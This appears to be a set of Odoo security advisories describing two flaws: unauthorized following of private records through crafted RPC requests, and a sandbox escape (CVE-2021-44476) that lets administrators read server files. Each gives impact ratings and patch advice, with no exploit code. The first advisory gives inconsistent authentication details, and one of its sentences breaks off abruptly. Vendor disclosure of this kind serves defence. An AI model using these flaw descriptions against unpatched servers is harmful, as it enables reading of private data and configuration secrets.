Enterprise 13.0 and earlier allows authenticated attackers to subscribe
to receive future notifications and comments related to arbitrary
business records in the system, via crafted RPC requests.
## I. Background
The Website Mail module adds generic components to follow group discussions
on a website for external users.
## II. Problem Description
Improper content validation allowed to follow arbitrary documents where the
discussion feature is available, including ones the user does not have
access to.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: None
**CVSS3 Score**: Medium :: 5.3
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
An attacker might craft requests to follow private documents and receive future
messages. Some documents might use the list of followers as a way to determine the

**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-44476](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44476)
**Component**: Core
**Credits**: Toufik Ben Jaa
A sandboxing issue in Odoo Community 15.0 and earlier and Odoo Enterprise
15.0 and earlier allows authenticated administrators to read local files
on the server, including sensitive configuration files.
## I. Background
Odoo includes a sandbox for interpreting dynamic business logic components,
such as the definition of workflows, automated actions, or the dynamic
expressions used within report templates.
The mechanism behind this sandbox is called 'safe eval' and keeps the system
safe while allowing advanced customizations. Its role is to execute
user-provided Odoo business logic, while preventing any undesired
effects on the data or the hosting platform - such as could be caused
by accident or by malicious users.
In order to be allowed to customize any of these dynamic business logic
components, one must be an administrator of an Odoo database, or have otherwise
received elevated privileges.
## II. Problem Description
The sandbox mechanism can be escaped and allow a malicious administrator to
read local files on the server.
Systems who host Odoo databases for untrusted users are particularly at risk,
(e.g. SaaS platforms), as they typically allow users to become administrators
of their own Odoo database. This is sufficient to exploit the vulnerability.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Privileged user account required
**CVSS3 Score**: Medium :: 6.8
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N)
A malicious administrator might be able to access sensitive files stored on the
server and read protected configuration secrets or the application source code.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
